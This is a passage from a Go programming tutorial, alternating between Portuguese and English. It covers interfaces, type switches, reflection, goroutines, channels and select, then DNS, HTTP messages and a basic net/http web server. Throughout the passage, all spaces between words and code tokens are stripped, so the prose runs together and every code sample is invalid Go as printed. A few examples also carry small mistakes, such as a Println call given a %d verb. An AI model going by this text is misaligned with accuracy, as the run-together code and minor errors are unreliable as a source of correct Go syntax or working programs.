func(hHuman)SayHi(){fmt.Printf("Hi,Iam%syoucancallmeon%s\n",h.name,h.phone)}

func(hHuman)Sing(lyricsstring){fmt.Println("Lalalala...",lyrics)}

func(eEmployee)SayHi(){fmt.Printf("Hi,Iam%s,Iworkat%s.Callmeon%s\n",e.name,e.company,e.phone)//Sim,vocêpodedividirem2linhasaqui.}

//InterfaceMenimplementadaporHuman,StudenteEmployeetypeMeninterface{SayHi()Sing(lyricsstring)}

funcmain(){mike:=Student{Human{"Mike",25,"222-222-XXX"},"MIT",0.00}paul:=Student{Human{"Paul",26,"111-222-XXX"},"Harvard",100}sam:=Employee{Human{"Sam",36,"444-222-XXX"},"GolangInc.",1000}tom:=Employee{Human{"Sam",36,"444-222-XXX"},"ThingsLtd.",5000}

//defineinterfaceivariMen

//possoarmazenarStudenti=mikefmt.Println("ThisisMike,aStudent:")i.SayHi()i.Sing("Novemberrain")

//possoarmazenarEmployeei=tomfmt.Println("ThisisTom,anEmployee:")i.SayHi()i.Sing("Borntobewild")

//slicedeMenfmt.Println("Let'suseasliceofMenandseewhathappens")x:=make([]Men,3)//Estestrêselementossãodetiposdiferentes,mastodoselesimplementamainterfaceMenx[0],x[1],x[2]=paul,sam,mike

for_,value:=rangex{value.SayHi()}}

Umainterfaceéumconjuntodemétodosabstratos,epodeserimplementadaportiposnãointerface.Nãopode,portanto,implementar-se.

Interfacevazia

Umainterfacevaziaéumainterfacequenãocontémnenhummétodo,portanto,todosostiposimplementamumainterfacevazia.Essefatoémuitoútilquandoqueremosarmazenartodosostiposemalgummomento,eésemelhanteaovoid*emC.

//defineacomointerfacevaziavarainterface{}variint=5s:="Helloworld"//apodearmazenarvalordequalquertipoa=i

a=s

Seumafunçãousaumainterfacevaziacomoseutipodeargumento,elapodeaceitarqualquertipo;Seumafunçãousaainterfacevaziacomoseutipodevalorderetorno,elapoderetornaqualquertipo.

Argumentosdemétodosdeumainterface

Qualquervariávelpodeserusadaemumainterface.Então,comopodemosusaresserecursoparapassarqualquertipodevariávelparaumafunção?

Porexemplo,usamosmuitofmt.Println,masvocêjánotouqueelepodeaceitarqualquertipodeargumento?Olhandoparaocódigoabertodefmt,vemosaseguintedefinição.

typeStringerinterface{String()string}

IssosignificaquequalquertipoqueimplementeainterfaceStringerpodeserpassadaparafmt.Printlncomoumargumento.Vamosprovarisso.

packagemain

import("fmt""strconv")

typeHumanstruct{namestringageintphonestring}

//Humanimplementafmt.Stringerfunc(hHuman)String()string{return"Name:"+h.name+",Age:"+strconv.Itoa(h.age)+"ye

ars,Contact:"+h.phone}

funcmain(){Bob:=Human{"Bob",39,"000-7777-XXX"}fmt.Println("ThisHumanis:",Bob)}

OlhandoparaoexemploanteriordeBox(Caixa),vocêveráqueColor(Cor)implementaainterfaceStringertambém,assimquesomoscapazesdepersonalizaroformatodeimpressão.Senãoimplementarmosessainterface,fmt.Printlnimprimeotipocomseuformatopadrão.

fmt.Println("Thebiggestoneis",boxes.BiggestsColor().String())fmt.Println("Thebiggestoneis",boxes.BiggestsColor())

Atenção:Seotipoimplementaainterfaceerror,fmtchamaráerror(),entãovocênãotemqueimplementarStringernestemomento.

Tipodevariávelemumainterface

Seumavariáveléotipoqueimplementaumainterface,sabemosquequalqueroutrotipoqueimplementaamesmainterfacepodeseratribuídoaessavariável.Aquestãoécomopodemossaberotipoespecíficoarmazenadonainterface.Háduasmaneirasquevoulhemostrar.

DeclaraçãodopadrãoComma-ok(Vírgula-ok)

Gopossuiasintaxevalue,ok:=element.(T).Issoverificaseavariáveléotipoqueesperamos,onde"value"(valor)éovalordavariável,"ok"éumavariáveldetipobooleano,"element"(elemento)éavariáveldainterfaceeTéotipodadeclaração.

Seoelementoéotipoqueesperamos,okseráverdadeiro,efalsocasocontrário.

Vamosusarumexemploparavermaisclaramente.

packagemain

import("fmt""strconv")

typeElementinterface{}typeList[]Element

typePersonstruct{namestringageint}

func(pPerson)String()string{return"(name:"+p.name+"-age:"+strconv.Itoa(p.age)+"years)"}

funcmain(){list:=make(List,3)list[0]=1//umint(inteiro)list[1]="Hello"//umastring(cadeiadecaracteres)list[2]=Person{"Dennis",70}

forindex,element:=rangelist{ifvalue,ok:=element.(int);ok{fmt.Printf("list[%d]isanintanditsvalueis%d\n",index,value)}elseifvalue,ok:=element.(string);ok{fmt.Printf("list[%d]isastringanditsvalueis%s\n",index,value)}elseifvalue,ok:=element.(Person);ok{fmt.Printf("list[%d]isaPersonanditsvalueis%s\n",index,value)}else{fmt.Printf("list[%d]isofadifferenttype\n",index)}}}

Émuitofácilusaressepadrão,massetivermosmuitostiposparatestar,é

melhorusarswitch.

testedecomutação(switchtest)

Vamosusarswitchparareescreveroexemploacima.

packagemain

import("fmt""strconv")

typeElementinterface{}typeList[]Element

typePersonstruct{namestringageint}

func(pPerson)String()string{return"(name:"+p.name+"-age:"+strconv.Itoa(p.age)+"years)"}

funcmain(){list:=make(List,3)list[0]=1//umint(inteiro)list[1]="Hello"//umastring(cadeiadecaracteres)list[2]=Person{"Dennis",70}

forindex,element:=rangelist{switchvalue:=element.(type){caseint:fmt.Printf("list[%d]isanintanditsvalueis%d\n",index,value)casestring:fmt.Printf("list[%d]isastringanditsvalueis%s\n",index,value)casePerson:fmt.Printf("list[%d]isaPersonanditsvalueis%s\n",index,value)default:

fmt.Println("list[%d]isofadifferenttype",index)}}}

Umacoisaquevocêdevelembraréqueelement.(type)nãopodeserusadoforadocorpodoswitch,oquesignificaquenessecasovocêtemqueusaropadrãocomma-ok.

Interfacesincorporadas(embeddedinterfaces)

AcoisamaisbonitaéqueGotemváriassintaxeslógicasincorporadas,comocamposanônimosemestruturas.Nãosupreendentemente,podemosusarinterfacescomocamposanônimostambém,maschamamos-lhesdeEmbeddedinterfaces(interfacesincorporadas).Aqui,seguimosasmesmasregrasquecamposanônimos.Maisespecificamente,seumainterfacetiveroutrainterfaceincorporadanoseuinterior,issoserácomoseelapossuíssetodososmétodosqueainterfaceincorporadatem.

Podemosverqueoarquivofonteemcontainer/heaptemaseguintedefinição:

typeInterfaceinterface{sort.Interface//sort.InterfaceincorporadoPush(xinterface{})//ummétodoPushparaempurrarelementosparaapilhaPop()interface{}//ummétodoPoppararemoverelementosdapilha}

Vemosquesort.Interfaceéumainterfaceincorporada,entãoainterfaceacimatemostrêsmétodoscontidosemsort.Interfaceimplicitamente.

typeInterfaceinterface{//Lenéonúmerodeelementosnacoleção.Len()int//Lessretornaseoelementocomíndiceideveserordenado

//antesdoelementocomoíndicej.Less(i,jint)bool//Swaptrocaoselementoscomíndicesiej.Swap(i,jint)}

Outroexemploéoio.ReadWriternopacoteio.

//io.ReadWritertypeReadWriterinterface{ReaderWriter}

Reflection

ReflectionemGoéusadoparadeterminarinformaçõesemtempodeexecução.Usamosopacotereflect,eesteartigooficialexplicacomoreflectfuncionaemGo.

Hátrêsetapasenvolvidasquandousamosreflect.Primeiro,precisamosconverteruminterfaceparatiposreflect(reflect.Typeoureflect.Value,issodependedasituação).

t:=reflect.TypeOf(i)//recebemeta-dadosnotipoi,eusatpararecebertodososelementosv:=reflect.ValueOf(i)//recebeovaloratualnotipoi,eusavparaalterarseuvalor

Depoisdisso,podemosconverterostiposreflectparaobterosvaloresqueprecisamos.

varxfloat64=3.4v:=reflect.ValueOf(x)fmt.Println("type:",v.Type())

fmt.Println("kindisfloat64:",v.Kind()==reflect.Float64)fmt.Println("value:",v.Float())

Finalmente,sequisermosmudarosvaloresdostiposreflect,precisamostorná-losmodificáveis.Comodiscutidoanteriormente,háumadiferençaentrepassarporvalorepassarporreferência.Ocódigoaseguirnãocompilará.

varxfloat64=3.4v:=reflect.ValueOf(x)v.SetFloat(7.1)

Emvezdisso,precisamosusaroseguintecódigoparaalterarosvaloresdostiposreflect.

varxfloat64=3.4p:=reflect.ValueOf(&x)v:=p.Elem()v.SetFloat(7.1)

Acabamosdediscutirosfundamentosdereflect,noentantovocêdevepraticarmaisparaentendermais.

Links

SumárioSeçãoAnterior:OrientaçãoaObjetosPróximaSeção:Concorrência

ConcurrencyItissaidthatGoistheClanguageofthe21stcentury.Ithinktherearetwo

reasons:first,Goisasimplelanguage;second,concurrencyisahottopicintoday'sworld,andGosupportsthisfeatureatthelanguagelevel.

goroutine

goroutinesandconcurrencyarebuiltintothecoredesignofGo.They'resimilartothreadsbutworkdifferently.Morethanadozengoroutinesmaybeonlyhave5or6underlyingthreads.Goalsogivesyoufullsupporttosharingmemoryinyourgoroutines.Onegoroutineusuallyuses4~5KBofstackmemory.Therefore,it'snothardtorunthousandsofgoroutinesonasinglecomputer.Agoroutineismorelightweight,moreefficientandmoreconvenientthansystemthreads.

goroutinesrunonthethreadmanageratruntimeinGo.Weusethegokeywordtocreateanewgoroutine,whichisafunctionattheunderlyinglevel(main()isagoroutine).

gohello(a,b,c)

Let'sseeanexample.

packagemain

import("fmt""runtime")

funcsay(sstring){fori:=0;i<5;i++{runtime.Gosched()fmt.Println(s)}}

funcmain(){gosay("world")//createanewgoroutine

say("hello")//currentgoroutine}

Output

helloworldhelloworldhelloworldhelloworldhello

Weseethatit'sveryeasytouseconcurrencyinGobyusingthekeywordgo.Intheaboveexample,thesetwogoroutinessharesomememory,butwewouldbetterofffollowingthedesignrecipe:Don'tuseshareddatatocommunicate,usecommunicationtosharedata.

runtime.Gosched()meanslettheCPUexecuteothergoroutines,andcomebackatsomepoint.

Thescheduleronlyusesonethreadtorunallgoroutines,whichmeansitonlyimplementsconcurrency.IfyouwanttousemoreCPUcoresinordertotakeadvantageofparallelprocessing,youhavetocallruntime.GOMAXPROCS(n)tosetthenumberofcoresyouwanttouse.Ifn<1,itchangesnothing.Thisfunctionmayberemovedinthefuture,seemoredetailsaboutparallelprocessingandconcurrencyinthisarticle.

channels

goroutinesruninthesamememoryaddressspace,soyouhavetomaintainsynchronizationwhenyouwanttoaccesssharedmemory.Howdoyoucommunicatebetweendifferentgoroutines?Gousesaverygoodcommunicationmechanismcalledchannel.channelislikeatwo-way

pipelineinUnixshells:usechanneltosendorreceivedata.Theonlydatatypethatcanbeusedinchannelsisthetypechannelandthekeywordchan.Beawarethatyouhavetousemaketocreateanewchannel.

ci:=make(chanint)cs:=make(chanstring)cf:=make(chaninterface{})

channelusestheoperator<-tosendorreceivedata.

ch<-v//sendvtochannelch.v:=<-ch//receivedatafromch,andassigntov

Let'sseemoreexamples.

packagemain

import"fmt"

funcsum(a[]int,cchanint){total:=0for_,v:=rangea{total+=v}c<-total//sendtotaltoc}

funcmain(){a:=[]int{7,2,8,-9,4,0}

c:=make(chanint)gosum(a[:len(a)/2],c)gosum(a[len(a)/2:],c)x,y:=<-c,<-c//receivefromc

fmt.Println(x,y,x+y)}

Sendingandreceivingdatainchannelsblocksbydefault,soit'smucheasiertousesynchronousgoroutines.WhatImeanbyblockisthatagoroutinewillnotcontinuewhenreceivingdatafromanemptychannel,i.e(value:=<-ch),untilothergoroutinessenddatatothischannel.Ontheotherhand,thegoroutinewillnotcontinueuntilthedataitsendstoachannel,i.e(ch<-5),isreceived.

Bufferedchannels

Iintroducednon-bufferedchannelsabove.Goalsohasbufferedchannelsthatcanstoremorethanasingleelement.Forexample,ch:=make(chanbool,4),herewecreateachannelthatcanstore4booleanelements.Sointhischannel,weareabletosend4elementsintoitwithoutblocking,butthegoroutinewillbeblockedwhenyoutrytosendafifthelementandnogoroutinereceivesit.

ch:=make(chantype,n)

n==0!non-bufferblockn>0!buffernon- blockuntilnelementsinthechannel

Youcantrythefollowingcodeonyourcomputerandchangesomevalues.

packagemain

import"fmt"

funcmain(){c:=make(chanint,2)//change2to1willhaveruntimeerror,but3isfinec<-1c<-2fmt.Println(<-c)fmt.Println(<-c)}

RangeandClose

Wecanuserangetooperateonbufferchannelsasinsliceandmap.

packagemain

import("fmt")

funcfibonacci(nint,cchanint){x,y:=1,1fori:=0;i<n;i++{c<-xx,y=y,x+y}close(c)}

funcmain(){c:=make(chanint,10)gofibonacci(cap(c),c)fori:=rangec{fmt.Println(i)}}

fori:=rangecwillnotstopreadingdatafromchanneluntilthechannelisclosed.Weusethekeywordclosetoclosethechannelinaboveexample.It'simpossibletosendorreceivedataonaclosedchannel;youcanusev,ok:=<-chtotestifachannelisclosed.Ifokreturnsfalse,itmeansthethereisnodatainthatchannelanditwasclosed.

Remembertoalwaysclosechannelsinproducersandnotinconsumers,orit'sveryeasytogetintopanicstatus.

Anotherthingyouneedtorememberisthatchannelsarenotlikefiles.Youdon'thavetoclosethemfrequentlyunlessyouaresurethechanneliscompletelyuseless,oryouwanttoexitrangeloops.

Select

Intheaboveexamples,weonlyuseonechannel,buthowcanwedealwithmorethanonechannel?Gohasakeywordcalledselecttolistentomanychannels.

selectisblockingbydefaultanditcontinuestoexecuteonlywhenoneofchannelshasdatatosendorreceive.Ifseveralchannelsarereadytouseatthesametime,selectchooseswhichtoexecuterandomly.

packagemain

import"fmt"

funcfibonacci(c,quitchanint){x,y:=1,1for{select{casec<-x:x,y=y,x+ycase<-quit:fmt.Println("quit")return}}}

funcmain(){c:=make(chanint)quit:=make(chanint)gofunc(){fori:=0;i<10;i++{fmt.Println(<-c)}quit<-0}()fibonacci(c,quit)}

selecthasadefaultcaseaswell,justlikeswitch.Whenallthechannels

arenotreadyforuse,itexecutesthedefaultcase(itdoesn'twaitforthechannelanymore).

select{casei:=<-c://useidefault://executesherewhencisblocked}

Timeout

Sometimesagoroutinebecomesblocked.Howcanweavoidthistopreventthewholeprogramfromblocking?It'ssimple,wecansetatimeoutintheselect.

funcmain(){c:=make(chanint)o:=make(chanbool)gofunc(){for{select{casev:=<-c:println(v)case<-time.After(5*time.Second):println("timeout")o<-truebreak}}}()<-o}

Runtimegoroutine

Thepackageruntimehassomefunctionsfordealingwithgoroutines.

runtime.Goexit()

Exitsthecurrentgoroutine,butdeferedfunctionswillbeexecutedasusual.

runtime.Gosched()

Letstheschedulerexecuteothergoroutinesandcomesbackatsomepoint.

runtime.NumCPU()int

ReturnsthenumberofCPUcores

runtime.NumGoroutine()int

Returnsthenumberofgoroutines

runtime.GOMAXPROCS(nint)int

SetshowmanyCPUcoresyouwanttouse

Links

DirectoryPrevioussection:interfaceNextsection:Summary

2.8ResumoNestecapítulointroduzimosprincipalmenteas25palavras-chaveemGo.Vamosreverquaissãoelaseoqueelasfazem.

breakdefaultfuncinterfaceselectcasedefergomapstructchanelsegotopackageswitchconstfallthroughifrangetypecontinueforimportreturnvar

vareconstsãousadasparadefinirvariáveiseconstantes.packageeimportsãoparaousodepacotes.funcéusadaparadefinirfunçõesemétodos.returnéusadapararetornarvaloresemfunçõesoumétodos.deferéusadaparadefinirfunçõesdefer(funçõesdeadiamento).goéusadaparainiciarumanovagoroutine.selectéusadaparaalternarentremúltiploscanaisparacomunicação.interfaceéusadaparadefinirinterfaces.structéusadaparadefinirtipospersonalizados.break,case,continue,for,fallthrough,else,if,switch,gotoedefaultforamintroduzidasnaseção2.3.chanéotipodecanalparacomunicaçãoentregoroutines.typeéusadaparadefinirtipospersonalizados.mapéusadaparadefinirummap(mapa)queésemelhanteatabelashashemoutraslinguagens.rangeéusadaparalerdadosdeslice,mapechannel.

Sevocêentendercomoutilizarestas25palavras-chave,vocêjáaprendeubastantesobreGo.

Links

SumárioSeçãoanterior:ConcorrênciaPróximoCapítulo:Webfoundation

#3Webfoundation

ThereasonyouarereadingthisbookisthatyouwanttolearntobuildwebapplicationsinGo.AsI'vesaidbefore,Goprovidesmanypowerfulpackageslikehttp.Thesepackagescanhelpyoualotwhentryingtobuildwebapplications.I'llteachyoueverythingyouneedtoknowinthefollowingchapters,andwe'lltalkaboutsomeconceptsofthewebandhowtorunwebapplicationsinGointhischapter.

Links

DirectoryPreviouschapter:Chapter2SummaryNextsection:Webworkingprinciples

WebworkingprinciplesEverytimeyouopenyourbrowsers,typesomeURLsandpressenter,youwillseebeautifulwebpagesappearonyourscreen.Butdoyouknowwhatishappeningbehindthesesimpleactions?

Normally,yourbrowserisaclient.AfteryoutypeaURL,ittakesthehostpartoftheURLandsendsittoaDNSserverinordertogettheIPaddressofthehost.ThenitconnectstotheIPaddressandaskstosetupaTCPconnection.ThebrowsersendsHTTPrequeststhroughtheconnection.TheserverhandlesthemandreplieswithHTTPresponsescontainingthecontentthatmakeupthewebpage.Finally,thebrowserrendersthebodyofthewebpageanddisconnectsfromtheserver.

Figure3.1Processesofusersvisitawebsite

Awebserver,alsoknownasanHTTPserver,usestheHTTPprotocoltocommunicatewithclients.Allwebbrowserscanbeconsideredclients.

Wecandividetheweb'sworkingprinciplesintothefollowingsteps:

ClientusesTCP/IPprotocoltoconnecttoserver.ClientsendsHTTPrequestpackagestoserver.ServerreturnsHTTPresponsepackagestoclient.Iftherequestedresourcesincludedynamicscripts,servercallsscriptenginefirst.Clientdisconnectsfromserver,startsrenderingHTML.

ThisisasimpleworkflowofHTTPaffairs-noticethattheserverclosesitsconnectionsafteritsendsdatatotheclients,thenwaitsforthenextrequest.

URLandDNSresolution

WealwaysuseURLstoaccesswebpages,butdoyouknowhowURLswork?

ThefullnameofaURLisUniformResourceLocator.It'sfordescribingresourcesontheinternetanditsbasicformisasfollows.

scheme://host[:port#]/path/.../[?query-string][#anchor]schemeassignunderlyingprotocol(suchasHTTP,HTTPS,FTP)hostIPordomainnameofHTTPserverport#defaultportis80,anditcanbeomittedinthiscase.Ifyouwanttouseotherports,youmustspecifywhichport.Forexample,http://www.cnblogs.com:8080/pathresourcespathquery-stringdataaresenttoserveranchoranchor

DNSisanabbreviationofDomainNameSystem.It'sthenamingsystemforcomputernetworkservices,anditconvertsdomainnamestoactualIPaddresses,justlikeatranslator.

Figure3.2DNSworkingprinciples

Tounderstandmoreaboutitsworkingprinciple,let'sseethedetailedDNSresolutionprocessasfollows.

1. Aftertypingthedomainnamewww.qq.cominthebrowser,theoperatingsystemwillcheckifthereareanymappingrelationshipsinthehosts'filesforthisdomainname.Ifso,thenthedomainnameresolutioniscomplete.

2. Ifnomappingrelationshipsexistinthehosts'files,theoperatingsystemwillcheckifanycacheexistsintheDNS.Ifso,thenthedomainnameresolutioniscomplete.

3. IfnomappingrelationshipsexistinboththehostandDNScache,theoperatingsystemfindsthefirstDNSresolutionserverinyourTCP/IPsettings,whichislikelyyourlocalDNSserver.WhenthelocalDNSserverreceivesthequery,ifthedomainnamethatyouwanttoqueryiscontainedwithinthelocalconfigurationofitsregionalresources,itreturnstheresultstotheclient.ThisDNSresolutionisauthoritative.

4. IfthelocalDNSserverdoesn'tcontainthedomainnamebutamappingrelationshipexistsinthecache,thelocalDNSservergivesbackthisresulttotheclient.ThisDNSresolutionisnotauthoritative.

5. IfthelocalDNSservercannotresolvethisdomainnameeitherbyconfigurationofregionalresourcesorcache,itwillproceedtothenextstep,whichdependsonthelocalDNSserver'ssettings.-IfthelocalDNSserverdoesn'tenableforwarding,itroutestherequesttotherootDNSserver,thenreturnstheIPaddressofatoplevelDNSserverwhichmayknowthedomainname,.cominthiscase.IfthefirsttoplevelDNSserverdoesn'trecognizethedomainname,itagainreroutestherequesttothenexttoplevelDNSserveruntilitreachesonethatrecognizesthedomainname.ThenthetoplevelDNSserverasksthisnextlevelDNSserverfortheIPaddresscorrespondingtowww.qq.com.-IfthelocalDNSserverhasforwardingenabled,itsendstherequesttoanupperlevelDNSserver.IftheupperlevelDNSserveralsodoesn'trecognizethedomainname,thentherequestkeepsgettingreroutedtohigherlevelsuntilitfinallyreachesaDNSserverwhichrecognizesthedomainname.

WhetherornotthelocalDNSserverenablesforwarding,theIPaddressofthedomainnamealwaysreturnstothelocalDNSserver,andthelocalDNSserversendsitbacktotheclient.

Figure3.3DNSresolutionworkflow

Recursivequeryprocesssimplymeansthattheenquirerschangeintheprocess.EnquirersdonotchangeinIterativequeryprocesses.

NowweknowclientsgetIPaddressesintheend,sothebrowsersarecommunicatingwithserversthroughIPaddresses.

HTTPprotocol

TheHTTPprotocolisacorepartofwebservices.It'simportanttoknowwhattheHTTPprotocolisbeforeyouunderstandhowthewebworks.

HTTPistheprotocolthatisusedtofacilitatecommunicationbetweenbrowsersandwebservers.ItisbasedontheTCPprotocolandusuallyusesport80onthesideofthewebserver.Itisaprotocolthatutilizestherequest-responsemodel-clientssendrequestsandserversrespond.AccordingtotheHTTPprotocol,clientsalwayssetupnewconnectionsandsendHTTPrequeststoservers.Serversarenotabletoconnecttoclientsproactively,orestablishcallbackconnections.Theconnectionbetweenaclientandaservercanbeclosedbyeitherside.Forexample,youcancancelyourdownloadrequestandHTTPconnectionandyourbrowserwilldisconnectfromtheserverbeforeyoufinishdownloading.

TheHTTPprotocolisstateless,whichmeanstheserverhasnoideaabouttherelationshipbetweenthetwoconnectionseventhoughtheyarebothfromsameclient.Tosolvethisproblem,webapplicationsusecookiestomaintainthestateofconnections.

BecausetheHTTPprotocolisbasedontheTCPprotocol,allTCPattackswillaffectHTTPcommunicationsinyourserver.ExamplesofsuchattacksareSYNflooding,DoSandDDoSattacks.

HTTPrequestpackage(browserinformation)

Requestpackagesallhavethreeparts:requestline,requestheader,andbody.Thereisoneblanklinebetweenheaderandbody.

GET/domains/example/HTTP/1.1//requestline:requestmethod,URL,protocolanditsversionHostwww.iana.org //domainnameUser-AgentMozilla /5.0(WindowsNT6.1)AppleWebKit/537.4(KHTML,likeGecko)Chrome/22.0.1229.94Safari/537.4//browserinformationAccepttext /html,application/xhtml+xml,application/xml;q=0.9,*/*;q=

0.8//mimethatclientscanacceptAccept-Encodinggzip,deflate,sdch //streamcompressionAccept-CharsetUTF- 8,*;q=0.5//charactersetinclientside//blankline//body,requestresourcearguments(forexample,argumentsinPOST)

Weusefiddlertogetthefollowingrequestinformation.

Figure3.4InformationofaGETrequestcaughtbyfiddler

Figure3.5InformationofaPOSTrequestcaughtbyfiddler

WecanseethatGETdoesnothavearequestbody,unlikePOST,whichdoes.

TherearemanymethodsyoucanusetocommunicatewithserversinHTTP;GET,POST,PUTandDELETEarethe4basicmethodsthatwetypicallyuse.A

URLrepresentsaresourceonanetwork,sothese4methodsdefinethequery,change,addanddeleteoperationsthatcanactontheseresources.GETandPOSTareverycommonlyusedinHTTP.GETcanappendqueryparameterstotheURL,using?toseparatetheURLandparametersand&betweenthearguments,likeEditPosts.aspx?name=test1&id=123456.POSTputsdataintherequestbodybecausetheURLimplementsalengthlimitationviathebrowser.Thus,POSTcansubmitmuchmoredatathanGET.Also,whenwesubmitusernamesandpasswords,wedon'twantthiskindofinformationtoappearintheURL,soweusePOSTtokeeptheminvisible.

HTTPresponsepackage(serverinformation)

Let'sseewhatinformationiscontainedintheresponsepackages.

HTTP/1.1200OK//statuslineServer:nginx/1.0.8//webserversoftwareanditsversionintheservermachineDate:Date:Tue,30Oct201204:14:25GMT//respondedtimeContent-Type:text/html//respondeddatatypeTransfer-Encoding:chunked//itmeansdataweresentinfragmentsConnection:keep-alive//keepconnectionContent-Length:90//lengthofbody//blankline<!DOCTYPEhtmlPUBLIC"-//W3C//DTDXHTML1.0Transitional//EN"...//messagebody

Thefirstlineiscalledthestatusline.ItsuppliestheHTTPversion,statuscodeandstatusmessage.

ThestatuscodeinformstheclientofthestatusoftheHTTPserver'sresponse.InHTTP/1.1,5kindsofstatuscodesweredefined:

-1xxInformational-2xxSuccess-3xxRedirection-4xxClientError-5xxServerError

Let'sseemoreexamplesaboutresponsepackages.200meansserverrespondedcorrectly,302meansredirection.

Figure3.6Fullinformationforvisitingawebsite

HTTPisstatelessandConnection:keep-alive

Thetermstatelessdoesn'tmeanthattheserverhasnoabilitytokeepaconnection.Itsimplymeansthattheserverdoesn'trecognizeanyrelationshipsbetweenanytworequests.

InHTTP/1.1,Keep-aliveisusedbydefault.Ifclientshaveadditionalrequests,theywillusethesameconnectionforthem.

NoticethatKeep-alivecannotmaintianoneconnectionforever;theapplicationrunningintheserverdeterminesthelimitwithwhichtokeeptheconnectionalivefor,andinmostcasesyoucanconfigurethislimit.

Requestinstance

Figure3.7Allpackagesforopeningonewebpage

Wecanseetheentirecommunicationprocessbetweenclientandserver

fromtheabovepicture.Youmaynoticethattherearemanyresourcefilesinthelist;thesearecalledstaticfiles,andGohasspecializedprocessingmethodsforthesefiles.

Thisisthemostimportantfunctionofbrowsers:torequestforaURLandretrievedatafromwebservers,thenrendertheHTML.IfitfindssomefilesintheDOMsuchasCSSorJSfiles,browserswillrequesttheseresourcesfromtheserveragainuntilalltheresourcesfinishrenderingonyourscreen.

ReducingHTTPrequesttimesisonewayofimprovingtheloadingspeedofwebpages.ByreducingthenumberofCSSandJSfilesthatneedtobeloaded,bothrequestlatenciesandpressureonyourwebserverscanbereducedatthesametime.

Links

DirectoryPrevioussection:WebfoundationNextsection:Buildasimplewebserver

3.2BuildasimplewebserverWe'vediscussedthatwebapplicationsarebasedontheHTTPprotocol,andGoprovidesfullHTTPsupportinthenet/httppackage.It'sveryeasytosetawebserverupusingthispackage.

Usehttppackagesetupawebserver

packagemain

import("fmt""net/http""strings"

"log")

funcsayhelloName(whttp.ResponseWriter,r*http.Request){r.ParseForm()//parsearguments,youhavetocallthisbyyourselffmt.Println(r.Form)//printforminformationinserversidefmt.Println("path",r.URL.Path)fmt.Println("scheme",r.URL.Scheme)fmt.Println(r.Form["url_long"])fork,v:=ranger.Form{fmt.Println("key:",k)fmt.Println("val:",strings.Join(v,""))}fmt.Fprintf(w,"Helloastaxie!")//senddatatoclientside}

funcmain(){http.HandleFunc("/",sayhelloName)//setroutererr:=http.ListenAndServe(":9090",nil)//setlistenportiferr!=nil{log.Fatal("ListenAndServe:",err)}}

Afterweexecutetheabovecode,theserverbeginslisteningtoport9090inlocalhost.

Openyourbrowserandvisithttp://localhost:9090.YoucanseethatHelloastaxieisonyourscreen.

Let'stryanotheraddresswithadditionalarguments:http://localhost:9090/?url_long=111&url_long=222

Nowlet'sseewhathappensonboththeclientandserversides.

Youshouldseethefollowinginformationontheserverside:

Figure3.8Serverprintedinformation

Asyoucansee,weonlyneedtocalltwofunctionsinordertobuildasimplewebserver.

IfyouareworkingwithPHP,you'reprobablyaskingwhetherornotweneedsomethinglikeNginxorApache.Theansweriswedon't,sinceGolistenstotheTCPportbyitself,andthefunctionsayhelloNameisthelogicfunctionjustlikeacontrollerinPHP.

IfyouareworkingwithPythonyoushouldknowtornado,andtheaboveexampleisverysimilartothat.

IfyouareworkingwithRuby,youmaynoticeitislikescript/serverinROR(RubyonRails).

Weusedtwosimplefunctionstosetupasimplewebserverinthissection,andthissimpleserveralreadyhasthecapacityforhighconcurrencyoperations.Wewilltalkabouthowtoutilizethisinthenexttwosections.

Links

DirectoryPrevioussection:WebworkingprinciplesNextsection:HowGoworkswithweb

3.3HowGoworkswithwebWelearnedtousethenet/httppackagetobuildasimplewebserverintheprevioussection,andallthoseworkingprinciplesarethesameasthosewewilltalkaboutinthefirstsectionofthischapter.

Conceptsinwebprinciples

Request:requestdatafromusers,includingPOST,GET,CookieandURL.

Response:responsedatafromservertoclients.

Conn:connectionsbetweenclientsandservers.

Handler:Requesthandlinglogicandresponsegeneration.

httppackageoperatingmechanism

ThefollowingpictureshowstheworkflowofaGowebserver.

Figure3.9httpworkflow

1. Createalisteningsocket,listentoaportandwaitforclients.2. Acceptrequestsfromclients.3. Handlerequests,readHTTPheader.IftherequestusesPOSTmethod,readdatainthemessagebodyandpassthemtohandlers.Finally,socketreturnsresponsedatatoclients.

Onceweknowtheanswerstothethreefollowingquestions,it'seasytoknowhowthewebworksinGo.

Howdowelistentoaport?Howdoweacceptclientrequests?Howdoweallocatehandlers?

IntheprevioussectionwesawthatGousesListenAndServetohandlethesesteps:initializeaserverobject,callnet.Listen("tcp",addr)tosetupaTCPlistenerandlistentoaspecificaddressandport.

Let'stakealookatthehttppackage'ssourcecode.

//Buildversiongo1.1.2.func(srv*Server)Serve(lnet.Listener)error{deferl.Close()vartempDelaytime.Duration//howlongtosleeponacceptfailurefor{rw,e:=l.Accept()ife!=nil{ifne,ok:=e.(net.Error);ok&&ne.Temporary(){iftempDelay==0{tempDelay=5*time.Millisecond}else{tempDelay*=2}ifmax:=1*time.Second;tempDelay>max{tempDelay=max}log.Printf("http:Accepterror:%v;retryingin%v",e,tempDelay)time.Sleep(tempDelay)continue}returne}tempDelay=0c,err:=srv.newConn(rw)iferr!=nil{continue}goc.serve()}}

Howdoweacceptclientrequestsafterwebeginlisteningtoaport?Inthesourcecode,wecanseethatsrv.Serve(net.Listener)iscalledtohandleclientrequests.Inthebodyofthefunctionthereisafor{}.Itacceptsa

request,createsanewconnectionthenstartsanewgoroutine,passingtherequestdatatothegoc.serve()goroutine.ThisishowGosupportshighconcurrency,andeverygoroutineisindependent.

Howdoweusespecificfunctionstohandlerequests?connparsesrequestc.ReadRequest()atfirst,thengetsthecorrespondinghandler:handler:=sh.srv.HandlerwhichisthesecondargumentwepassedwhenwecalledListenAndServe.Becausewepassednil,Gousesitsdefaulthandlerhandler=DefaultServeMux.SowhatisDefaultServeMuxdoinghere?Well,itstheroutervariablewhichcancallhandlerfunctionsforspecificURLs.Didwesetthis?Yes,wedid.Wedidthisinthefirstlinewhereweusedhttp.HandleFunc("/",sayhelloName).We'reusingthisfunctiontoregistertherouterruleforthe"/"path.WhentheURLis/,theroutercallsthefunctionsayhelloName.DefaultServeMuxcallsServerHTTPtogethandlerfunctionsfordifferentpaths,callingsayhelloNameinthisspecificcase.Finally,theserverwritesdataandrespondstoclients.

Detailedworkflow:

Figure3.10WorkflowofhandlinganHTTPrequest

IthinkyoushouldknowhowGorunswebserversnow.

Links

DirectoryPrevioussection:BuildasimplewebserverNextsection:Getintohttppackage

3.4GetintohttppackageInprevioussections,welearnedabouttheworkflowofthewebandtalkeda

